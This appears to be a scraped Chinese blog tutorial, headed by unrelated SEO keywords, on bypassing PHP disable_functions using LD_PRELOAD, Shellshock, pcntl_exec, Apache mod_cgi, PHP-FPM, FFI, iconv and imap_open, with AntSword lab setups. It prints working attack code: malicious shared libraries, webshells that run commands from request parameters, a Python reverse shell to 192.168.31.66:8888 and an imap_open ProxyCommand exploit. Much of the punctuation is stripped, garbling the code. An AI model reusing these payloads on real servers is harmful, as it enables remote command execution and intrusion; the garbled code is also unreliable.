移动端公众号网站开发,企业网站建设方案渠道,wordpress微信公众号插件,工地建筑劳务公司招工平台1. 利用 LD_PRELOAD 环境变量
知识扫盲
LD_PRELOAD#xff1a;是Linux系统的一个环境变量#xff0c;它指定的*.so文件会在程序本身的*.so文件之前被加载。putenv()#xff1a;PHP函数#xff0c;可以设置环境变量mail()#xff0c;error_log()#xff1a;PHP函数…1. 利用 LD_PRELOAD 环境变量
知识扫盲
LD_PRELOAD是Linux系统的一个环境变量它指定的*.so文件会在程序本身的*.so文件之前被加载。putenv()PHP函数可以设置环境变量mail()error_log()PHP函数在运行时会执行系统中的程序sendmail
思路构造一个带命令执行的eval.os文件让其被LD_PRELOAD加载然后在PHP中调用mail函数或error_log函数函数内部会执行系统的sendmail命令sendmail会调用其他的一些系统函数这样我们构造的eval.os就会加载并覆盖sendmail本应调用的库函数达到命令执行的效果。
首先写eval.c
#include stdlib.h
#include stdio.h
#include string.h__attribute__ ((__constructor__)) void hausa_zui_shuai(void)
{unsetenv(LD_PRELOAD);system(echo any_other_eval_code);system(/readflag /tmp/hausa.txt);
}
__attribute__ ((__constructor__))这个参数它使得被自己修饰的函数在main函数前执行。
然后gcc -shared -fPIC eval.c -o eval.so将这个源文件编译成动态链接库文件并将其上传到服务器的/tmp目录下。 网站根目录上传shell.php
?Php
putenv(LD_PRELOAD/tmp/eval.so);
mail(, , , );
error_log(,1,,);
?
然后url 访问shell.php。在访问过程中putenv()函数将我们写好的恶意动态链接库文件赋值给LD_PRELOAD环境变量然后在调用mail()和error_log的时候Linux会执行系统程序sendmail但是在执行sendmail的main函数之前会先执行我们设计好的用了__attribute__ ((__constructor__))参数修饰的恶意函数从而导致了命令的执行。
最后在/tmp目录下即可看到hausa.txt文件 参考Bypass disable_function —— LD_PRELOAD-CSDN博客
利用条件
Linux 操作系统putenvmail or error_log 本例中禁用了 mail 但未禁用 error_log存在可写的目录, 需要上传 .so 文件
参考bypass_disable_functions/1
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/1
docker-compose up -d 搜索disable_functions查看禁用函数 上传webshell后执行命令无任何显示
利用方法
加载插件 选择模式 其他默认然后直接点击开始 运行成功后会生成两个文件 直接使用蚁剑连接.antproxy.php那个文件密码还是原来的密码。即可执行命令了 可发现在目标机器上用 PHP 启动了一个 http server, 并且加载的是 PHP 默认配置。 2. 利用 ShellShock (CVE-2014-6271)
CVE-2014-6271通常被称为Shellshock漏洞。影响到了许多Unix和Linux操作系统。该漏洞的影响主要集中在BashBourne Again Shell这个常用的命令行解释器上。
Shellshock漏洞的根本原因是在Bash的环境变量处理中存在一个安全漏洞允许攻击者在环境变量中注入恶意代码然后在系统上执行任意命令。
利用条件
Linux 操作系统putenvmail or error_log 本例中禁用了 mail 但未禁用 error_log/bin/bash 存在 CVE-2014-6271 漏洞/bin/sh - /bin/bash sh 默认的 shell 是 bash
利用方法
cd AntSword-Labs/bypass_disable_functions/2
docker-compose up -d
AntSword 默认虚拟终端中已经集成了对 ShellShock 的利用直接在打开的虚拟终端中即可执行命令 手动利用
?phpfunction runcmd($c){$d dirname($_SERVER[SCRIPT_FILENAME]);
if(substr($d, 0, 1) / function_exists(putenv) (function_exists(error_log) || function_exists(mail))){if(strstr(readlink(/bin/sh), bash)!FALSE){$tmptempnam(sys_get_temp_dir(), as);putenv(PHP_LOL() { x; }; $c $tmp 21);if (function_exists(error_log)) {error_log(a, 1);}else{mail(a127.0.0.1, , , -bv);}}else{print(Not vuln (not bash)\n);}$output file_get_contents($tmp);unlink($tmp);if($output!){print($output);}else{print(No output, or not vuln.);}
}else{print(不满足使用条件);
}
}// runcmd(whoami); // 要执行的命令
runcmd($_REQUEST[cmd]); // ?cmdwhoami
? 3. 利用pcntl_exec
pcntl是linux下的一个扩展可以支持php的多线程操作。很多时候会碰到禁用exec等函数的情况但如果运维人员安全意识不强或对PHP不甚了解则很有可能忽略pcntl扩展的相关函数。
pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数可以在当前进程空间执行指定的程序。
利用条件
PHP安装并启用了pcntl插件
可以通过phpinfo查看是否启用如下如果出现 pcntl support enable则说明启用 或者如下访问test.php输出1则说明启用了pcntl_exec
?php
if(function_exists(pcntl_exec)) {echo 1;
} else {echo pcntl extension is not support!;
}
?
反弹shell
由于pcntl_exec()执行命令是没有回显的所以其常与python结合来反弹shell。注意这里路径“/usr/bin/python3可能不相同。访问test.php
?php pcntl_exec(/usr/bin/python3,array(-c,import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect((192.168.31.66,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);));
反弹shell成功可以正常执行命令 4. 利用 Apache Mod CGI
CGICommon Gateway Interface是一种标准允许 web 服务器调用外部程序来处理客户端的请求。通过 CGIWeb 服务器可以调用外部程序来处理特定的请求这些程序负责生成动态的内容或执行其他服务器端任务关于CGImod_cgi mod_cgi 是 Apache HTTP 服务器的一个模块它实现了 CGI 标准使得 Apache 能够处理和执行 CGI 脚本。这个模块允许 Apache 接收到 CGI 请求时调用外部的 CGI 可执行文件或脚本并将请求数据传递给这些程序。mod_cgi 会处理与 CGI 相关的环境变量和数据传递以确保与外部程序的正确通信。
因此mod_cgi 是 Apache 服务器上的一个模块用于支持和处理 CGI 请求。当你在 Apache 中启用 CGI 支持时mod_cgi 就会参与处理这些请求将它们转发给外部程序CGI 脚本或可执行文件并将结果返回给客户端。
参考https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3
利用条件
Linux 操作系统unix不可以如SunOSApache PHPApache 开启了 cgi、rewriteWeb 目录给了 AllowOverride 权限。AllowOverride 是 Apache 配置中的一个指令用于确定是否允许在.htaccess文件中覆盖服务器配置。这个指令可以在 Apache 配置文件通常是httpd.conf中设置也可以在虚拟主机配置中设置。当前目录可写
我们利用 AntSword-Labs 项目来搭建环境
git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/3
docker-compose up -d
启动后蚁剑连接发现无法执行命令 查看apache否启用了 CGI 模块
通过phpinfo查看 查看 Apache 配置文件
通过查看apache的配置文件通常为 /etc/httpd/httpd.conf、/etc/apache2/apache2.conf 或类似的文件。打开搜索如下
LoadModule cgi_module modules/mod_cgi.so
如果这一行存在说明 mod_cgi 模块已经加载即 CGI 支持已启用。
利用方法
使用「绕过 disable_functions」插件, 选择 Apache_mod_cgi 模式进行。注意刚点进来的时候, 左侧状态栏处都是 NO 点击「开始」按钮后成功之后, 会创建一个新的「虚拟终端」 手动利用
创建.htaccess 和shell.ant文件需要在其Linux环境下创建因为编码问题。
首先在当前目录创建 .htaccess 文件写入如下。该.htaccess文件的内容指示了在该目录下启用了 CGI 执行并将文件扩展名为.ant的文件定义为 CGI 脚本。
Options ExecCGI
AddHandler cgi-script .ant
然后新建 shell.ant 文件写入要执行的命令。再加上执行权限
#!/bin/sh
echo Content-type: text/html
echo
echoid
最后访问shell.ant文件便可成功执行命令 5. 通过攻击 PHP-FPM
PHP-FPMFastCGI Process Manager是一个用于管理 FastCGI 进程的工具专门为 PHP 脚本设计。FastCGI 是一种常见的通信协议允许 Web 服务器如 Nginx 或 Apache与外部进程如 PHP 解释器之间进行更高效的通信。PHP-FPM 提供了一个进程管理器负责处理 PHP 请求提高性能和可扩展性。
具体来说PHP-FPM 的主要功能包括
进程管理 PHP-FPM 可以启动、停止和管理 PHP 进程。这使得它可以动态地调整处理 PHP 请求的进程数量以适应服务器负载的变化。性能提升 PHP-FPM 通过保持一组 PHP 进程在内存中并重用它们减少了每个请求的启动时间。这有助于提高 PHP 脚本的执行速度和整体性能。资源隔离 PHP-FPM 可以为每个 PHP 进程设置独立的资源限制包括内存和执行时间。这有助于防止某个请求消耗过多资源影响整个服务器性能。日志记录 PHP-FPM 生成日志记录 PHP 进程的活动包括错误信息和性能统计。这有助于管理员监控系统并进行故障排除。
总的来说PHP-FPM 提供了一种有效管理 PHP 进程的方式从而提高了 PHP 脚本在 Web 服务器上的性能和可靠性。
利用条件
Linux 操作系统开启了PHP-FPM服务不会默认开启需要安装、配置再开启存在可写的目录, 需要上传 .so 文件
查找 PHP-FPM 接口地址
PHP-FPMFastCGI Process Manager通常监听一个本地套接字或网络端口以便与 Web 服务器进行通信。接口地址socket 地址或 IP 地址端口在 PHP-FPM 配置文件中指定。
查看 PHP-FPM 配置文件如下发现端口为9000 利用方法
cd AntSword-Labs/bypass_disable_functions/5
docker-compose up -d
查看phpinfo发现目标主机配置了FPM/Fastcgi 选择PHP-FPM的接口地址后点击开始 成功后可以看到 /var/www/html/ 目录下新建了一个 .antproxy.php 文件。连接该文件后即可执行命令
6. 利用 Json Serializer UAF
UAF漏洞Use-After-Free是一种内存破坏漏洞漏洞成因是一块堆内存被释放了之后又被使用。漏洞利用了 json 在序列化中的堆溢出触发 bypass
利用条件
Linux 操作系统PHP 版本需满足 7.1 - all versions to date7.2 7.2.19 (released: 30 May 2019)7.3 7.3.6 (released: 30 May 2019)
UAF 一次可能不成功需要多次尝试。
利用方法
cd AntSword-Labs/bypass_disable_functions/6
docker-compose up -d
查看php版本为7.2.18 选择 Json Serializer UAF 模式进行 7. 利用 GC UAF
漏洞利用的是 php garbage collector垃圾收集器程序中的堆溢出达成 bypass
利用条件
Linux 操作系统PHP 版本 7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 - all versions to date
利用方法
cd AntSword-Labs/bypass_disable_functions/7
docker-compose up -d
查看php版本为7.2.18 选择 Json Serializer UAF 模式进行 8. 利用 FFI 扩展
PHP 7.4 的 FFIForeign Function Interface即外部函数接口允许用户在PHP代码中去调用C代码。
首先我们使用 FFI::cdef() 函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型类似如下
$ffi FFI::cdef(int system(char* command);); # 声明C语言中的system函数
这将返回一个新创建的FFI对象然后使用以下方法即可调用这个对象中所声明的函数
$ffi -system(ls / /tmp/res.txt); # 执行ls /命令并将结果写入/tmp/res.txt
利用条件
Linux 操作系统PHP 7.4开启了 FFI 扩展且 ffi.enableOn
cd AntSword-Labs/bypass_disable_functions/8
docker-compose up -d
php版本大于等于7.4 FFI扩展开启所以可以尝试利用此方法 利用方法
选择 PHP74_FFI 模式进行 9. 利用iconv
利用条件
Linux 操作系统putenviconv启用。PHP 中用于进行字符集转换的函数存在可写的目录, 需要上传 .so 文件
cd AntSword-Labs/bypass_disable_functions/9
docker-compose up -d
iconv函数 是 PHP 标准库的一部分通常是默认启用的。也有可能被禁用
发现icon启用了 利用原理
PHP在执行iconv()函数时实际调用了glibc中一些和iconv相关的函数其中一个叫iconv_open()的函数会根据GCONV_PATH环境变量找到系统的gconv-modules文件再根据gconv-modules文件找到对应的.so文件进行链接。然后会调用.so文件中的gconv()和gonv_init()函数。如果我们能修改GCONV_PATH环境变量指向我们编写的gconv-modules文件则可以使得PHP加载我们上传的恶意的动态链接库然后绕过禁用函数执行命令。
需要在/tmp目录下上传一个gconv-modules文件在其中写入如下内容
module 自定义字符集名(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名(小写) 2
module INTERNAL 自定义字符集名(大写)// ../../../../../../../../tmp/自定义字符集名(小写) 2
在iconv.c中写入下面的C代码
#include stdio.h
#include stdlib.hvoid gconv() {}void gconv_init() {system(whoami /tmp/result);
}生成动态链接库payload.so
gcc -shared -fPIC iconv.cpp -o 自定义字符集名.so
执行PHP代码:
?phpputenv(GCONV_PATH/tmp/);iconv(自定义字符集名, UTF-8, whatever);
?
然后可以在/tmp/result下看到命令执行的结果
利用方法
使用iconv插件bypass 成功后连接/.antproxy.php即可执行命令
也不仅仅是iconv函数还有其他的编码转换的方式也能触发iconv_open()函数例如在蚁剑的插件源码里就有4种通过iconv绕过禁用函数的方式
if(function_exists(iconv)){iconv(payload,UTF-8,whatever);
}else if(function_exists(iconv_strlen)){iconv_strlen(1,payload);
}else if(function_exists(file_get_contents)){file_get_contents(php://filter/convert.iconv.payload.UTF-8/resourcedata://text/plain;base64,MQ);
}else{fopen(php://filter/convert.iconv.payload.UTF-8/resourcedata://text/plain;base64,MQ,r);
};10. 利用ImageMagick 漏洞绕过(CVE-2016–3714)
imagemagick是一个用于处理图片的程序它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用图片的旋转、组合文本直线多边形椭圆曲线附加到图片伸展旋转。
利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的一个漏洞CVE-2016-3714。漏洞的利用过程非常简单只要将精心构造的图片上传至使用漏洞版本的ImageMagickImageMagick会自动对其格式进行转换转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick可以尝试一下。
利用条件
目标主机安装并开启了ImageMagick拓展版本需 3.3.0安装了php-imagick拓展并在php.ini中启用PHP 5.4
利用方法
使用网上已有的docker镜像来搭建环境
docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --namei_imagemagick_1 medicean/vulapps:i_imagemagick_1
访问phpinfo.php发现开启了imagemagick服务。并且版本为3.3.0 参考bypass disable_functions姿势总结 - 先知社区、bypass disable_functions姿势总结 - 先知社区
11. 利用imap_open()绕过
利用条件需要安装iamp扩展,命令行输入apt-get install php-imap
在php.ini中开启imap.enable_insecure_rsh选项为On重启服务。 PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能攻击者可利用这些功能在目标系统上执行任意shell命令。
exp:
?php
error_reporting(0);
if (!function_exists(imap_open)) {
die(no imap_open function!);
}
$server x -oProxyCommandechot . base64_encode($_GET[cmd] .
/tmp/cmd_result) . |base64t-d|sh};
//$server x -oProxyCommandecho$IFS$() . base64_encode($_GET[cmd] .
/tmp/cmd_result) . |base64$IFS$()-d|sh};
imap_open({ . $server . :143/imap}INBOX, , ); // or
var_dump(nnError: .imap_last_error());
sleep(5);
echo file_get_contents(/tmp/cmd_result);
?
12. 利用 SplDoublyLinkedList UAC
PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下远程攻击者将能够实现PHP沙箱逃逸并执行任意代码。更准确地来说成功利用该漏洞后攻击者将能够绕过PHP的某些限制例如disable_functions和safe_mode等等。
参考奇安信攻防社区-常见 Bypass Disable Functions 的方法总结 参考
https://www.cnblogs.com/one-seven/p/15194350.htmlPHP禁用函数绕过 | e4stjuns bloghttps://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9